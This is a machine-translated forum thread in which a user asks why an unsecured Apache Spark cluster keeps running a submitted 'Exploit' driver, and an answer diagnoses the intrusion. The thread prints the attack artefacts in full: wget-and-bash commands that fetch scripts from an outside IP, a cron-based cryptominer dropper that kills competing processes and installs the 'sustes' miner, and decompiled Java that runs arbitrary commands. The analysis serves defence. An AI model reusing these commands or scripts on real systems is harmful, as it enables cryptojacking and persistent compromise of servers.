经过大量搜索和研究,我转向在这里寻求帮助。
问题在于,一旦构建了一个Spark集群(一个主节点和4个具有不同IP地址的工作者),每个执行者将不断提交“驱动程序”。从Web UI中,我可以看到与“驱动程序”一起提交的名为“漏洞利用”的类。 web UI
以下是一名工人的日志文件的头和尾。
启动命令:“ /usr/lib/jvm/jdk1.8/jre/bin/java”“ -cp”“ / home / labuser / spark / conf /:/ home / labuser / spark / jars / *” “ -Xmx1024M”“ -Dspark.eventLog.enabled = true”“ -Dspark.driver.supervise = false”“ -Dspark.submit.deployMode = cluster”“ -Dspark.app.name =漏洞利用”“ -Dspark.jars = http://192.99.142.226:8220/Exploit.jar“” -Dspark.master = spark://129.10.58.200:7077“” org.apache.spark.deploy.worker.DriverWrapper“” spark://Worker@129.10.58.202:44717“” / home / labuser / spark / work / driver-20180815111311-0065 / Exploit.jar“” Exploit“” wget -O /var/tmp/a.sh http://192.99.142.248:8220/cron5.sh,bash /var/tmp/a.sh
18/08/15 11:13:56调试ByteBufUtil:-Dio.netty.allocator.type:未池化 2015年8月18日11:13:56调试ByteBufUtil:-Dio.netty.threadLocalDirectBufferSize:65536 2015年8月18日11:13:56调试ByteBufUtil:-Dio.netty.maxThreadLocalCharBufferSize:16384 15年8月18日11:13:56 DEBUG NetUtil:回送接口:lo(lo,0:0:0:0:0:0:0:0:1%lo) 2015年8月18日11:13:56调试NetUtil:/ proc / sys / net / core / somaxconn:128 2015年8月18日11:13:57调试TransportServer:Shuffle服务器在以下端口上启动:46034 2015年8月18日11:13:57信息实用程序:端口46034上的服务“驱动程序”成功启动。 18/08/15 11:13:57 INFO WorkerWatcher:连接到worker spark://Worker@129.10.58.202:44717 2015年8月18日11:13:58调试TransportClientFactory:创建与/129.10.58.202:44717的新连接 2015年8月18日11:13:59调试AbstractByteBuf:-Dio.netty.buffer.bytebuf.checkAccessible:true 2015年8月18日11:13:59调试ResourceLeakDetector:-Dio.netty.leakDetection.level:简单 2015年8月18日11:13:59调试ResourceLeakDetector:-Dio.netty.leakDetection.maxRecords:4 2015年8月18日11:13:59调试ResourceLeakDetectorFactory:加载的默认ResourceLeakDetector:io.netty.util.ResourceLeakDetector@350d33b5 18/08/15 11:14:00 DEBUG TransportClientFactory:成功连接到/129.10.58.202:44717,正在运行引导程序... 18/08/15 11:14:00 INFO TransportClientFactory:1706毫秒(在引导程序中花费了0毫秒)后,已成功创建到/129.10.58.202:44717的连接 18/08/15 11:14:00 INFO WorkerWatcher:已成功连接到spark://Worker@129.10.58.202:44717 15/08/15 11:14:00调试回收站:-Dio.netty.recycler.maxCapacity.default:32768 18/08/15 11:14:00调试回收站:-Dio.netty.recycler.maxSharedCapacityFactor:2 15/08/18 11:14:00调试回收站:-Dio.netty.recycler.link容量:16 18/08/15 11:14:00调试回收站:-Dio.netty.recycler.ratio:8
我发现有一个“利用”代码,它利用任何人都可以向未经授权的Spark集群提交应用程序这一事实来入侵Spark集群。
ARBITRARY CODE EXECUTION IN UNSECURED APACHE SPARK CLUSTER
但是我不认为我的集群被黑了。应用授权模式后的原因,此问题仍然存在。
我的问题是其他人有这个问题吗?为什么会这样呢?
答案 0 :(得分:1)
首先,反编译的源代码显示驱动程序将执行通过参数提供给它的命令。对于您而言,请wget
将脚本下载到temp,然后执行。
下载的脚本下载jpg并通过管道传输到bash。 这不是图像
wget -q -O - http://192.99.142.248:8220/logo10.jpg | bash -sh
logo10.jpg
包含一个cron
作业,该作业包含将在您的群集上运行的更多源代码。您可能正在看到该作业正在提交,因为它正在开始计划的作业。
#!/bin/sh
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json
wget -O /var/tmp/sustes http://192.99.142.248:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."
public class Exploit {
public Exploit() {
}
public static void main(String[] var0) throws Exception {
String[] var1 = var0[0].split(",");
String[] var2 = var1;
int var3 = var1.length;
for(int var4 = 0; var4 < var3; ++var4) {
String var5 = var2[var4];
System.out.println(var5);
System.out.println(executeCommand(var5.trim()));
System.out.println("==============================================");
}
}
private static String executeCommand(String var0) {
StringBuilder var1 = new StringBuilder();
try {
Process var2 = Runtime.getRuntime().exec(var0);
var2.waitFor();
BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
String var4;
while((var4 = var3.readLine()) != null) {
var1.append(var4).append("\n");
}
} catch (Exception var5) {
var5.printStackTrace();
}
return var1.toString();
}
}